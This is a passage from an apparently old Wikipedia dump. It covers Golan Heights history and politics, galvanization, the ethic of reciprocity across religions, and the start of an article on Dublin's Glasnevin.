In the [[700s BCE]] the [[Assyrian people|Assyrians]] gained control of the area, but were later replaced by the [[Babylonian]] and the [[Persian Empire]]. In the [[5th century BCE]], the region was settled by returning Jewish exiles from [[Babylonian Captivity]] (modern [[Iraq]]). 

In the [[4th century BCE]], the area came under the control of [[Alexander the Great]] and remained under [[Hellenistic]] rule until captured by the Romans. In the mid [[2nd century BCE]], [[Judah Maccabee]] aided the local [[Jew]]ish communities when they came under attack, although the area itself was not in Jewish hands. 

The area was named ''Golan'' following the Roman occupation&amp;mdash;the Greeks referred to the area as &quot;Gaulanitis&quot;, the term used by the Romans, which led to the word &quot;Golan&quot;. The [[Nabataeans]] gained control of the area in [[85 BCE]].  The area was later captured by the Romans after they took Nabatea. During the [[Great Jewish Revolt|First Revolt]] ([[66]]-[[73]] CE) against Rome by the [[Jew]]s of [[Judea]], a number of Jews captured a hilltop at [[Gamla]], which later fell; the hilltop is today called the &quot;[[Masada]] of the Golan&quot;.  

In about 250 CE, the [[Ghassanids]] immigrated to the modern-day Golan and built their capital at [[Jabiyah]].  Their kingdom extended southward to the [[Hijaz]] and they controlled most of the Levant's trade routs. After the partitioning of the Roman Empire in 391 CE, the Golan Heights fell under the sphere of the [[Byzantine Empire]], under the rule of their [[vassal]]s, the Ghassanids.  The area came under a short-lived [[Sassanid]] occupation that started in 614 and ended in approximately 628. In 636, the area was conquered by [[Muslim]] [[Arabs]] under the [[Caliph]] [[Umar ibn al-Khattab|Umar I]]. In the 15th and 16th centuries, [[Druze]] began to settle the northern Golan and the slopes of [[Mount Hermon]]. In the 16th century, the [[Ottoman Empire|Ottoman]] Turks came in control of the area and remained so until the end of [[World War I]].

In the 1880s, a Jewish community called Ramataniya was founded by early [[Zionist]]s; it failed within a year.

== History since World War I ==
[[Image:majdalshams.jpg|thumb|300px|Majdal Shams, an [[Arab]] [[Druze]] village in the Golan Heights]]
[[Image:New community on the Golan .jpg|thumbnail|300px|New construction on the Golan Heights, c. 1978]]

The boundary between the forthcoming [[United Kingdom|British]] and [[France|French]] mandates was defined in broad terms by the [[Franco-British Boundary Agreement]] of December 1920. This placed most of the Golan in the French sphere. However, the joint commission formed to demarcate the border precisely did not complete its work until 1923, so the actual transfer of the Golan to French control did not occur until the year after the [[British Mandate of Palestine]] came into being. In accordance with the same process, a nearby parcel of land that included the ancient site of [[Dan]] was transferred from Syria to Palestine early in 1924. The Golan Heights thus became part of the [[French Mandate of Syria]] and, when that mandate ended in 1944, part of the new independent state of Syria. They remained under Syrian control until 1967.

After the 1948-49 [[1948 Arab-Israeli War|Arab-Israeli War]],the Golan Heights were partly demilitarized by the [[1949 Armistice Agreements | Israel-Syria Armistice Agreement]].  Over the following years the Mixed Armistice Commission (which oversaw the implementation  of the [[1949 Armistice Agreements | Israel-Syria Armistice Agreement]]) reported many violations by each side.  The Syrians fortified positions on the Heights, from which they shelled civilian targets in Israel and launched other attacks for the next 18 years.  Before the Six-Day War the strategic heights of the Golan, which are approximately 3000 ft (1000 m) above pre-1967 Israel, were used to frequently bombard civilian Israeli farming communities far below them, although [[Moshe Dayan]] (Israeli Defense Minister during the 1967 war) would later state that it was most often the result of Israeli provocations in the demilitarized zone.  According to the ''[[Washington Report on Middle East Affairs]]'', former Israeli General Matityahu Peled claimed that more than half of the border clashes before the 1967 war &quot;were a result of our security policy of maximum settlement in the demilitarized area&quot;[http://www.washington-report.org/backissues/1191/9111023.htm]. [[Image:Syrian-bunker.jpg|thumb|right|View from an old Syrian [[bunker]] overlooking Israeli territory]]140 Israelis were killed and many more were injured in these attacks from 1949 to 1967.

During the [[Six-Day War]] of 1967 Syria's shelling greatly intensified and the [[Israel Defense Forces|Israeli army]] captured the Golan Heights on [[Six-Day War#Golan Heights|9-10 June]]. The area which came under Israeli control as a result of the war is two geologically distinct areas: the Golan Heights proper (1,070 [[square kilometre|km&amp;sup2;]]) and the slopes of the Mt. Hermon range (100 km&amp;sup2;). 

About 90% (147,000) of the Golan's inhabitants, mainly [[Druze]] Arabs and [[Circassians]], fled during the [[Six-Day War]]. For various political reasons, Israel has not allowed them to return [http://www.washington-report.org/backissues/062000/0006010.html]. This has led to the splitting of many families.

Israel began settling the Golan almost immediately following the war. Kibbutz [[Merom Golan]] was founded in July 1967. By 1970 there were 12 Jewish communities on the Golan and by 2004 there were 34 settlements holding around 18,000 people. 

[[Image:300px-GolanHeights-tank.jpg|thumb|Abandoned [[Centurion tank]] in the Golan Heights]]

During the [[Yom Kippur War]] in 1973, Syrian forces overran much of the southern Golan, before being pushed back by an Israeli counterattack. Israel and Syria signed a ceasefire agreement in 1974 that left almost all the Heights in Israeli hands, while returning a narrow demilitarized zone to Syrian control.

The Syrian citizens who remained in the area after it was captured by Israel in 1967 were required to carry Israeli military identity papers.  In the late 1970s, the [[Likud]] government of Israel began pressuring them to request Israeli citizenship by tying it to privileges such as the right to obtain a drivers licence or to travel in Israel.  In March 1981, the community leaders imposed a socio-religious ban on Israeli citizenship.  Protests came to a head after the November 1981 annexation (or effective annexation, see above) of the Golan Heights by Israel.  They included a general strike that lasted for five months and demonstrations that sometimes became violent.  The Israeli authorities responded by placing the protest leaders in administrative detention and imposing curfews and other restrictions.  On April 1, 1982, a 24-hour curfew was imposed and soldiers went from door to door confiscating the old ID cards and replacing them by cards signifying Israeli citizenship.  This action caused an international outcry including two condemnatory UN resolutions [http://domino.un.org/unispal.nsf/9a798adbf322aff38525617b006d88d7/faabb796990cf95a852560d9005240cf!OpenDocument] [http://domino.un.org/unispal.nsf/9a798adbf322aff38525617b006d88d7/8e7086664ce96d7a852560d900517333!OpenDocument].  Israel eventually relented, allowing the Arabs to retain their Syrian citzenship and also agreeing not to force them to serve in the army.  This is how the situation remains today.

Syria has always demanded a full Israeli withdrawal from all of the Golan Heights, to the shoreline of the [[Sea of Galilee]] (the 1949 armistice line). Successive Israeli governments have expressed support for some Israeli withdrawal from the Golan without specifying the extent of this withdrawal. In return for this withdrawal, Israel demands that the area of the Golan falling under Syrian control become demilitarized and that other security measures are implemented to prevent a potential surprise Syrian attack.

Israel has always insisted that any agreement with Syria must include fully normalized diplomatic and economic relations.  Prior to the 2000 negotiations, Hafez al-Assad did not offer travel and trade rights to Israelis, but in the 2000 negotiations he did agree to a peace deal of the same nature that Egypt and Jordan made.

Regarding the Golan Heights, [[Yitzhak Rabin]] stated:

&lt;blockquote&gt;Words are not enough about the Golan Heights. We must put them into actions... Withdrawal from the Golan is unthinkable, even in times of peace. Anyone considering withdrawal from the Golan Heights would be abandoning Israel&amp;rsquo;s security. Let us invest, all of us together, in order to fulfil our obligations to the Golan Heights. And to you residents &amp;mdash; those who made the Golan Heights what it is &amp;mdash; you have all my respect.&lt;/blockquote&gt;

When interviewed about an upcoming conference on [[United States|American]] TV network ''ABC'' on [[September 16]], [[1991]], Syrian president [[Hafez al-Assad]] said:

&lt;blockquote&gt;The efforts currently exerted are based on the Security Council Resolutions N° 242 and N° 338 on the basis of realizing a comprehensive peace in the region. The Golan,  as an occupied Syrian territory, shall be reinstated, within the framework of such comprehensive peace, to its natural status as part of Syrian territory. Upon implementing  the comprehensive solution for the two [[Arab]] and Israeli sides, comprehensive peace will  prevail and documents will be achieve peace process. This as you know will be decided  within the Conference, the Israeli side on the one hand and the Arab side on the other.&lt;/blockquote&gt;

Also regarding the Heights, when asked about military conflict in the area, [[Moshe Dayan]] stated :

&lt;blockquote&gt;It would happen like this: We would send a tractor to plow someplace of no value, in the demilitarized zone, knowing ahead of time that the Syrians would begin to shoot. If they did not start shooting, we would tell the tractor to keep going forward, until the Syrians in the end would get nervous and start shooting. And then we would start firing artillery, and later also the airforce, and this was the way it was. I did this, and Laskov and Tzur [two previous commanders-in-chief] did it. [[Yitzhak Rabin]] did it when he was there , but it seems to me that it was Dado, more than anyone else, who enjoyed these games.&lt;/blockquote&gt;

However, Dayan also noted regarding the Israeli farmers who lived at the base of the Heights:
&lt;blockquote&gt;They suffered a lot because of the Syrians. Look, as I said before, they lived in the [[kibbutz]]im, they farmed, raised children, lived and wanted to live there. The Syrians opposite them were soldiers who shot at them and they certainly did not like this. But I can tell you in absolute certainly: the delegation that came to convince Eshkol to attack the Heights did not think about these things. It thought about the land on the Heights. Listen, I am also a farmer. I'm from [[Nahalal]], not from [[Tel Aviv]], and I recognize this. I saw them, and I talked to them. They did not even try to hide their greed for that soil. That's what guided them.&lt;/blockquote&gt;

During US-brokered negotiations 1999-2000, Israel offered to return ''most'' of the Golan Heights to Syria in exchange for peace and full recognition. Syria refused. Syria offered full recognition and peace in exchange for a complete return to the pre-1967 borders. Israel refused.

In late 2003, Syrian President [[Bashar al-Assad]] said he was ready to revive peace talks with Israel. Israel demanded Syria first disarm [[Hizbullah]], who launched many attacks on northern Israeli towns and army posts from Syrian and Lebanese territory. Peace talks were not initiated. The population currently resident in the Golan is, roughly speaking, half Druze and half Jewish. 

Although the Golan Heights has generally been a peaceful area, a number of Golan residents from Majdal Shams have been jailed by the Israeli authorities for involvement in armed activities against the Israeli occupation. [http://www.damascus-online.com/golan/POWs.htm].

== Communities == 
The Golan Height's largest community and administrative center is the Jewish town of [[Katzrin]], built in the 1970s. The other Jewish communities are a number of [[Kibbutz|kibbutzim]] and [[moshav|moshavim]] (agricultural communities). There are also four [[Druze]] and [[Circassians|Circassian]] villages in the Northern part of the Golan Heights including [[Majdal Shams]], and an [[Alawite]] village called [[Ghajar]] that stretches on both side of the Lebanese-Israeli border.

==See also== 
*[[International law and the Arab-Israeli conflict]]
*[[UN Security Council Resolution 242]]
*[[UN Security Council Resolution 452]]
*[[UN Security Council Resolution 465]]
*[[UN Security Council Resolution 471]]
*[[UN Security Council Resolution 497]] 
*[[Six Day War]] 
*[[Ramadan War]]/[[Yom Kippur War]]
*[[Shebaa Farms]]
*[[Israeli settlement]]
*[[Odem]]

==External links==
{{commons|Golan Heights}}

*[http://www.golan-gov.org/ Syrian view of the Golan Heights]
*[http://english.golan.org.il/ Israeli view of the Golan Heights]
*[http://www.jewishvirtuallibrary.org/jsource/Peace/67line.html The Line of June 4, 1967 and how it came to be]
*[http://www.hagalil.com/GuShalom/maamarim/dayan.htm| Excerpts from the [[Moshe Dayan]] Memoirs]

==Articles==
* Washington report: [http://www.washington-report.org/backissues/062000/0006010.html A View From Damascus: Internal Refugees From Golan’s 244 Destroyed Syrian Villages]
* Damascus online: [http://www.damascus-online.com/golan/Golan_town.htm Golan Heights Town Tells Tale of Israeli-Arab War]
* Washington report: [http://www.washington-report.org/backissues/1191/9111023.htm The Golan Heights: A History of Israeli Aggression]

==References==
*{{cite journal | author=Leon Sheleff | title=Application of Israeli law to the Golan Heights is not annexation | journal=Brooklyn journal of international law | year=1994 | volume=20, afl. 2 | pages=333-353}}
*{{cite journal | author=Asher Maoz | title=Application of Israeli law to the Golan Heights is annexation | journal=Brooklyn journal of international law | year=1994 | volume=20, afl. 2 | pages=355-396}}
*{{cite journal | author=Tayseer Maar'i &amp; Usama Halabi | title=Life under occupation in the Golan Heights | journal=Journal of Palestine Studies | year=1992 | volume=22 | pages=78-93}}

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[[Category:Arab-Israeli conflict]]
[[Category:Disputed territories]]
[[Category:Geography of Israel]]
[[Category:Geography of Lebanon]]
[[Category:Geography of Syria]]
[[Category:Great Rift Valley]]
[[Category:History of Israel]]
[[Category:History of Syria]]
[[Category:Islamic history]]
[[Category:Jewish history]]
[[Category:Volcanoes by region]]

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  <page>
    <title>Galvanize</title>
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      <text xml:space="preserve">#REDIRECT [[Galvanization]]
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  <page>
    <title>Galvanization</title>
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      <text xml:space="preserve">:'''''Galvanize''' redirects here. Galvanize is also the name of [[Galvanize (song)|a song]] by the [[Chemical Brothers]].''
'''Galvanization''' refers to any of several [[electrochemistry|electrochemical]] processes named after the Italian scientist [[Luigi Galvani]].
# Originally, galvanization was the administration of electric shocks (in the 19th century also termed ''Faradism'', after [[Michael Faraday]]).  It stemmed from Galvani's induction of twitches in severed [[frog]]s' legs, by his accidental generation of [[electricity]]. This [[archaic]] sense is the origin of the meaning of ''galvanized'' when meaning 'stirred to sudden action'.  Its claims to health benefits have largely been disproven, except for some limited uses in [[psychiatry]].  ''See also: [[Galvanism]], [[Violet wand]]''
# Later the word was used for processes of [[electrodeposition]].  This remains a useful and broadly applied technology, but the term &quot;galvanization&quot; has largely come to be associated with [[zinc]] coatings, to the exclusion of other metals.
# In current use, it typically means [[hot-dip galvanizing]], a chemical process  that is used to coat [[steel]] or [[iron]] with zinc. This is done to reduce [[corrosion]] (specifically rusting) of the [[iron|ferrous]] item; while it is accomplished by non-electrochemical means, it serves an electrochemial purpose.  

''The remainder of the article is about zinc anti-corrosion coatings.''

Zinc coatings prevent oxidation of the protected metal by forming a barrier, and by acting as a [[sacrificial anode]] if this barrier is damaged. [[Zinc oxide]] is a fine white dust that (in contrast to iron oxide) does not cause a breakdown of the [[substrate]]'s surface integrity as it is formed. Indeed the zinc oxide, if undisturbed, can act as a barrier to further [[oxidation]], in a way similar to the [[passivation|protection]] afforded to [[aluminium]] and [[stainless steel|stainless steels]] by their oxide layers. 

Hot dip galvanizing deposits a thick, robust layer that may be more than is necessary for the protection of the underlying metal in some applications. This is the case in [[automobile]] bodies, where additional rust proofing paint will be applied. Here, a thinner form of galvanizing is applied by [[electroplating]], called &quot;electro-galvanization&quot;. However, the protection this process provides is insufficient for products that that will be constantly exposed to corrosive materials such as salt water. Nevertheless, most nails made today are electro-galvanized.

Galvanic protection (also known as [[Sacrificial anode|sacrificial-anode]] or [[cathodic protection]]) can be achieved by connecting zinc both electronically (often by direct bonding to the protected metal) and ionically (by submerging both into the same body of elecrolyte, such as a drop of rain). In such a configuration the zinc is absorbed into the [[electrolyte]] in preference to the metal that it protects, and maintains that metal's structure by inducing an electric current.  In the usual example, ingots of zinc are used to protect a boat's hull and propellers, with the ocean as the common electrolyte.

As noted previously, both mechanisms are often at work in practical applications. For example, the traditional measure of a coating's effectiveness is resistance to a [[salt spray]].  Thin coatings cannot remain intact indefinitely when subject to surface abrasion, and the galvanic protection offered by zinc can be sharply contrasted to more noble metals.  As an example, a scratched or incomplete coating of [[chromium]] actually exacerbates corrosion of the underlying steel, since it is less electrochemically active than the substrate.  

[[Image:Galvanized surface.jpg|thumb|240px|right|Galvanized surface with visible spangle]]

The size of [[crystallite]]s in galvanized coatings is an aesthetic feature, known as '''spangle'''.  By varying the number of particles added for heterogeneous [[nucleation]] and the rate of cooling in a hot-dip process, the spangle can be adjusted from an apparently uniform surface (crystallites too small to see with the naked eye) to grains several centimeters wide.  Visible crystallites are rare in other engineering materials.

== See also ==
* [[Hot-dip galvanizing]]
{{Commons|Category:Galvanization}}

[[Category:Chemical processes]]
[[Category:Corrosion prevention]]
[[Category:Metal plating]]

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  <page>
    <title>Ethic of reciprocity</title>
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      <text xml:space="preserve">'''The ethic of reciprocity''' is a general moral principle found in virtually all [[religions]] and [[culture]], often as a fundamental rule, a fact which suggests that it may be related to innate aspects of human nature (see [[altruism]]). 

In most formulations it takes a passive form, as expressed by the Jewish sage [[Hillel the Elder|Hillel]]: &quot;What is hateful to you, do not to your fellow man.&quot; In Western culture, however, the most famous formulation is active, as expressed by [[Jesus]] in the [[Sermon on the Mount]] -- &quot;Do unto others as you would have others do unto you&quot; ([[Gospel of Matthew]] 7:12 of the Christian [[Bible]]). This traditional guiding rule was so highly valued that it has for centuries been known in English as the &quot;'''''Golden Rule'''''&quot;.

== Principle ==
The ethic of reciprocity, or ''Golden Rule'' of ethics can be best understood in term of what it is not.

Firstly, the ethic of reciprocity should not be confused with [[tit for tat]], [[revenge]], [[an eye for an eye]], [[retributive justice]] or the [[lex talionis|law of retaliation]]. A key element of the ethic of reciprocity is that a person attempting to live by this rule treats all people, not just members of his or her [[in-group]], with consideration.

Secondly, the ethics of reciprocity should not be confused with another major ethical principle, often known as [[Wiccan Rede]], [[harm principle]], or [[Non-aggression principle|liberty principle]] (non-aggression principle) which is an ethical prohibition against aggression. This rule is also an ethical rule of &quot;licence&quot; or &quot;[[right]]&quot;, that is people can do anything they like as long as it does not harm others. This rule does not compel one to help the other in need. On the other hand, &quot;the golden rule is a good standard which is further improved by doing unto others, wherever possible, as ''they'' want to be done by.&quot; [[Karl Popper]] (''The Open Society and Its Enemies, Vol. 2) 

Lastly, the ethic of reciprocity or Golden Rule of ethics, should not be confused with a &quot;rule&quot; in the semantic or logical sense. A logical loophole in the positive form of Golden &quot;rule&quot; is that it would require a [[Sadism and masochism|masochist]] to harm others, even without their consent, if that is what the masochist would wish for themselves. This loophole can be addressed by invoking a supplementary rule, which is sometimes called the [[silver rule]]. This states &quot;treat others in the way that they wish to be treated&quot;. However, the silver rule may create another logical loophole. In a situation where an individual's background or belief may offend the sentiment of the majority (such as homosexuality or blasphemy), the silver rule may imply ethical majoritarianism if the Golden rule is enforced as if it were a law. An absurd example may be Adolf Hitler's reference to [[Otto Weininger]], which was something in the effect of &quot;There was only one decent Jew, and he killed himself.&quot;  Weininger was a Christian convert with Jewish background who was well known for his view about supposed superiority of Christianity and Christian character over Judaism and Jewishness. 

Under ethic of reciprocity, a person of atheist persuation may have a (legal) right to insult religion under the right of freedom of expression but, as a personal choice, may refrain to do so in public out of respect to the sensitivity of the other. Conversely, a person of religious persuation may refrain from taking action against such public display out of respect to the sensitivity of other about the right of freedom of speech. Conversely, the lack of mutual respect might mean that each side might deliberately violate the golden rule as a provocation (to assert one's right) or as a intimidation (to prevent other from making offence).

It is clear that most religious understandings of the principle imply its use as a virtue toward greater [[love]] and mutual respect for one's neighbour rather than as a [[deontological]] or [[consequentialist]] rule. Most of us know that different people have different faith or ideological belief, different preferences concerning sex or other matters, and may belong to different cultural heritage. Therefore, the golden rule depends on everyone's ability to understand and give respect to such difference. [[George Bernard Shaw]] once said that &quot;The golden rule is that there are no golden rules&quot;. 

This understanding is crucial because it shows how to apply the golden rule. In 1963, [[John F. Kennedy]] ordered  [[Alabama]] [[United States National Guard|National Guardsmen]] to help admit two clearly qualified &quot;[[Negro]]&quot; students to the [[University of Alabama]]. In his speech that evening JFK appealed to every American to &quot;stop and examine his conscience about this and other related incidents&quot; throughout America.&quot; If an American, because his skin is dark, cannot eat lunch in a restaurant open to the public, if he cannot send his children to the best public school available, if he cannot vote for the public [[official]]s who will represent him, .... then who among us would be content to have the color of his skin changed and stand in his place?&quot;  ....  &quot;The heart of the question is .... whether we are going to treat our fellow Americans as we want to be treated.&quot;

It could be argued that the ethics of reciprocity may replace all other moral principles or at least that it is superior to it. This guiding rule may or may not explictly tell one which actions or treatments are right or wrong. But the golden rule '''can''' provide one with moral coherence -- it is a consistency principle. One's actions are to be consistent with mutual love and respect to other fellow humans. Arising as it does in nearly all written-language cultures on the Earth, the ethic of reciprocity is a tool that differing cultures can readily use in handling [[conflict |conflicts]]. Given the modern global trend of political, social, and economic integreation (see [[globalisation]]), the golden rule of ethic may be becoming even more relevant and important than ever.

== Reciprocal altruism and Tit for tat ==
In [[evolutionary biology]], [[reciprocal altruism]] is a form of [[altruism]] in which one organism provides a benefit to another in the expectation of future reciprocation. This is equivalent to the [[Tit for tat]] strategy in [[game theory]] for the [[iterated prisoner's dilemma]]. Four main conditions of the strategy are

:1. Unless provoked, the agent will always cooperate
:2. If provoked, the agent will retaliate
:3. The agent is quick to forgive
:4. The agent must have a 2/3 chance of competing against the opponent more than once.

For several decades Tit-for-Tat was the most effective strategy for playing the game, winning in annual automated tournaments against (generally far more complex) strategies created by teams of computer scientists, economists, and psychologists. Moreover, Tit-for-Tat still is the most effective strategy if you compare the average performance of each competing team. Game theorists informally believed the strategy to be optimal (although no proof was presented).

This imply that ethics of reciprocity may be somewhat compatible with both recipocal altruism and cooperative egoism providing philosophical middle ground between [[Altruism (ethics)|ethical altruism]] and [[ethical egoism]]. However, it should be noted that in the game of iterated prisoner's dilemma, each players are set as equal.  If one player is dominant in the game from the outset, it may be advantageous for such player to abandaon the coporation and betray other players, resulting in suboptimal outcome from collective point of view. 

The ethics of reciprocity, on the other hand, presupose from the outset that everyone is equal no matter what. However, many actual articulation of ethics of reciprocity in history provide an exemption in the context of the violation of co-operation from the other party. This indicate that the golden rule may have had significant utilitarian justification as well as deontological justriciation.

== Right and Duty ==
{{sect-stub}}
'''[[Deontological ethics]]''' (from the [[Greek language|Greek]] ''Deon'' meaning ''obligation'') or '''Deontology''' is an [[ethical]] theory holding that decisions should be made solely or primarily by considering one's duties and the rights of others. Deontology posits the existence of [[a priori]] [[moral]] obligations, further suggesting that people ought to live by a set of permanently defined principles that do not change merely as a result of a change in circumstances. 

Secondly, the ethics of reciprocity should not be confused with another major ethical principle, often know as [[Wiccan Rede]], [[harm principle]], or [[Non-aggression principle|liberty principle]] (non-aggression principle) which is an ethical prohibition against aggression. This rule is also an ethical rule of &quot;licence&quot; or &quot;[[right]]&quot;, that is people can do anything they like as long as it does not harm others. This rule does not compel one to help the other in need. On the other hand, &quot;the golden rule is a good standard which is further improved by doing unto others, wherever possible, as ''they'' want to be done by.&quot; [[Karl Popper]] (''The Open Society and Its Enemies, Vol. 2) 

Lastly, the ethic of reciprocity or Golden Rule of ethics, should not be confused with a &quot;rule&quot; in the semantic or logical sense. A logical loophole in the positive form of Golden &quot;rule&quot; is that it would require a [[Sadism and masochism|masochist]] to harm others, even without their consent, if that is what the masochist would wish for themselves. This loophole can be addressed by invoking a supplementary rule, which is sometimes called the [[silver rule]]. This states &quot;treat others in the way that they wish to be treated&quot;. However, the silver rule may create another logical loophole. In a situation where an individual's background or belief may offend the sentiment of the majority (such as homosexuality or blasphemy), the silver rule may imply ethical majoritarianism if the Golden rule is enforced as if it were a law. An absurd example may be Adolf Hitler's reference to [[Otto Weininger]], which was something in the effect of &quot;There was only one decent Jew, and he killed himself.&quot;  Weininger was a Christian convert with Jewish background who was well known for his view about supposed superiority of Christianity and Christian character over Judaism and Jewishness.

== Religion ==
{{sect-stub}}

=== Buddhism ===
Ethics of reciprocity is fundamental to Buddhism.  This is partly due to the fact that Buddhism, unlike theistic religions, does not rely on divine revelation. Therefore, in Buddhism, all aspects of teaching are regarded as wisdom rather than supernaturally derived and are to be undertaken voluntarily rather than as &quot;commandments.&quot; For example, the first of the [[Five Precepts]] (Panca-sila) of Buddhism is to abstain from destruction of life. The justification of the precept is given in Chapter 10 of the Dhammapada, which states:

:&quot;Everyone fears punishment; everyone fears death, just as you do. Therefore do not kill or cause to kill. Everyone fears punishment; everyone loves life, as you do. Therefore do not kill or cause to kill.&quot; 

According to the second of [[Four Noble Truths]] of Buddhism, egoism (desire, craving or attachment) are rooted in ignorance and is considered as the cause of all suffering. Consequently, kindness, compassion and equanimity is regarded as the untainted aspect of human nature.

=== Christianity ===

=== Hinduism ===

=== Islam ===

=== Judaism ===

== History ==
*~[[20th century BC|1970]]-[[1640s BC|1640 BCE]] &quot;Do for one who may do for you, / That you may cause him thus to do.&quot; - ''The [[Tale]] of the [[Eloquent Peasant]]'' 109-110, [[Ancient Egypt]], tr. [[R.B. Parkinson]].
*~[[13th century BC|1280 BCE]] &quot;You shall not take vengeance or bear a grudge against your countrymen. Love your fellow as yourself: I am the LORD.&quot; - [[Tanakh]], new [[JPS]] translation, [[Leviticus]] 19:18, [[Judaism]].
*~[[7th century BC|700 BCE]] &quot;That nature only is good when it shall not do unto another whatever is not good for its own self.&quot; - [[Dadistan-i-Dinik]] 94:5, [[Zoroastrianism]].
*? BCE &quot;Whatever is disagreeable to yourself do not do unto others.&quot; - [[Shayast-na-Shayast]] 13:29, Zoroastrianism.
*~[[5th century BC|500 BCE]] &quot;Hurt not others in ways that you yourself would find hurtful.&quot; - [[Udana-Varga]] 5:18, [[Buddhism]].
*~[[5th century BC|500 BCE]] &quot;The Sage...makes the self of the people his self.&quot; ''[[Tao Te Ching]]'' Ch 49,  tr. Ch'u Ta-Kao, Unwin Paperbacks, 1976. [[Daoism]]
*~[[5th century BC|500 BCE]] &quot;What you do not want done to yourself, do not do to others.&quot; ''[[Analects of Confucius]]'' 15:24, [[Confucianism]], tr. [[James Legge]].[http://afpc.asso.fr/wengu/wg/wengu.php?l=Lunyu&amp;no=415]
* ~[[5th century BC|500 BCE]] &quot;Now the man of perfect virtue, wishing to be established himself, seeks also to establish others; wishing to be enlarged himself, he seeks also to enlarge others. To be able to judge of others by what is near in ourselves; this may be called the art of virtue.&quot; ''Analects of Confucius'' 6:30, Confucianism, tr. [[James Legge]]. [http://afpc.asso.fr/wengu/wg/wengu.php?l=Lunyu&amp;no=150]
*~[[5th century BC|500 BCE]] &quot;one word that can serve as a principle of conduct for life [is] reciprocity. Do not impose on others what you yourself do not desire.&quot;  - [[Doctrine of the Mean]] 13.3, Confucianism.
*~[[5th century BC|500 BCE]] &quot;Therefore, neither does he cause violence to others nor does he make others do so.&quot; - Acarangasutra 5.101-2, [[Jainism]].
*~[[2nd century BC|200 BCE]] &quot;What you hate, do not do to anyone.&quot; - [[Deuterocanonical|Deuterocanonical Bible]], [[New Revised Standard Version|NRSV]], [[Book of Tobit|Tobit]] 4:15, [[Roman Catholic Church]] and [[Judaism]].
*~[[150 BC|150 BCE]] &quot;This is the sum of duty: Do naught unto others which would cause you pain if done to you.&quot; - Mahabharata 5:1517, [[Brahmanism]] and [[Hinduism]].
*~[[1st century|100 CE]] &quot;What is hateful to you, do not to your fellow man. This is the [[Torah|law]]: all the rest is commentary.&quot; - [[Hillel the Elder]]; [[Talmud]], Shabbat 31a, [[Judaism]].
*~[[1st century|100 CE]] &quot;In everything, do unto others as you would like them to do unto you; that is the meaning of the [[Torah|law]] and the [[Neviim|prophets]].&quot; - [[Sermon on the Mount]], [[NRSV]], [[Gospel of Matthew]] 7:12, [[Christianity]]
*~[[1st century|100 CE]] &quot;What you would avoid suffering yourself, seek not to impose on others.&quot; - [[Epictetus]].
*~[[7th century]] &quot;Do unto all men as you would wish to have done unto you; and reject for others what you would reject for yourself.&quot; - [[Hadith]], [[Islam]].
*? CE &quot;And if thine eyes be turned towards justice, choose thou for thy neighbour that which thou choosest for thyself.&quot; - Epistle to the Son of the Wolf, 30, [[Bahá'í Faith]].
*~[[1870s|1870 CE]] &quot;He should not wish for others what he does not wish for himself.&quot; - [[Bahá'u'lláh]], ''[[Epistle to the Son of the Wolf]]'' [[Bahá'í Faith]].
*[[1999|1999 CE]] &quot;don't do things you wouldn't want to have done to you.&quot; - British Humanist society, [[Humanism]].

==Footnotes==
* {{note label|JFK|1|1}} {{note label|JFK|1b|1b}} {{note label|JFK|footnote|1c}} JFK's [[11 June]][[1963]] &quot;Radio and Television Report to the American People on Civil Rights,&quot; [http://www.jfklibrary.org/j061163.htm transcript from the JFK library].  Partly described (and multiply quoted) in the text above.  As described in [http://www.abbeville.com/civilrights/washington.asp graphic 1963 events], President Kennedy sent his civil rights [[bill (proposed law) | bill]] to [[Congress]] on [[19 June]][[1963]] leading to the [[Civil Rights Act of 1964]] via the Congressional give-and-take described there.
* {{note label|Gensler|2|2a}} {{note label|Gensler|footnote|2b}} Harry Gensler's essay,The Golden Rule, published in the Blackwell ''Dictionary of Business Ethics'' (Routledge 1997 ISBN 1557869421). For more background, and for more information about the golden rule, plus links and lists of books about it, see his website [http://www.jcu.edu/philosophy/gensler/goldrule.htm The Golden Rule].  His links include his teaching website, [http://www.jcu.edu/philosophy/gensler/ethics.htm#W Web Exercises].     

== See also ==
* [[Ethics in religion]]
* [[Other]]
* [[Reciprocity (social psychology)]]
* [[Tit for tat]]
* [[Reciprocal altruism]]
* [[Karma]] may be compared with '''golden rule'''

==External links==
====Practical applications of the golden rule to our real world problems====
#Application to racism in the United States in [[1963]], [[1964]], partly described in the text and the above {{ref harvard|JFK|footnote|1c}}[1c]. 
#Application to [http://home.ix.netcom.com/%7Emmfamily/myths.html terrorism].
#UNESCO report on [http://kvc.minbuza.nl/uk/archive/report/chapter1_3.html global ethics].
#A sample of applications to [http://www.uslink.net/%7Egolden/philosop.html business]. The golden rule is also in business books, e.g., the Blackwell book in the above {{ref harvard|Gensler|footnote|2b}}[2b].

====The general application of the golden rule====
#Bill McGinnis's [http://patriot.net/%7Ebmcgin/golden.html Committee for the Golden Rule].
#How to conduct a [http://www.conexuspress.com/catalog/golden_rule_workshopweb.htm workshop on the golden rule].
#Application to [http://www.dountoothers.net/ moral education].

====Other external links====
* [http://19.org/index.php?id=73,67,0,0,1,0 The Rules of the Game]
* [http://www.unification.net/ws/theme015.htm The Golden Rule in Religion]
* [http://www.teachingvalues.com/goldenrule.html The Golden Rule in World Religions]
* [http://www.religioustolerance.org/reciproc.htm Shared belief in the Golden Rule]
* [http://the_mystic_light.tripod.com/the_golden_rule.htm Rosicrucians: The Golden Rule]

[[de:Goldene Regel]]
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[[id:Etika timbal balik]]
[[nl:Gulden regel (leefregel)]]
[[no:Den gyldne regel]]
[[ro:Regula de aur]]
[[sv:Den gyllene regeln]]

[[Category : Social philosophy]]
[[Category : Ethics]]
[[Category : Logic]]
[[Category:Religious philosophy and doctrine]]</text>
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  <page>
    <title>Glasnevin</title>
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      <text xml:space="preserve">'''Glasnevin''' is a residential neighbourhood on the [[Northside (Dublin)|Northside]] of the city of [[Dublin]] and south of the [[Ballymun]] area. Glasnevin contains [[Glasnevin Cemetery]], the most historically notable cemetery in the country,  the [[Irish National Botanic Gardens]], and [[Dublin City University]]. 

==Hart's Corner==

Approaching Glasnevin via [[Phibsboro]] is what is known as &quot;Hart's Corner&quot; (previously &quot;[[Doyles Corner]]&quot; and &quot;Dunphy's Corner&quot;) [http://www.irishpubguide.ie/Irish%20Pub%20Guide/dublin/70.htm] but which about a 200 years ago was called [[Glasmanogue]], and was then a well-known stage on the way to [[Finglas]]. At an earlier date the name possessed a wider signification and was applied to a considerable portion of the adjoining district.

==Grounds==

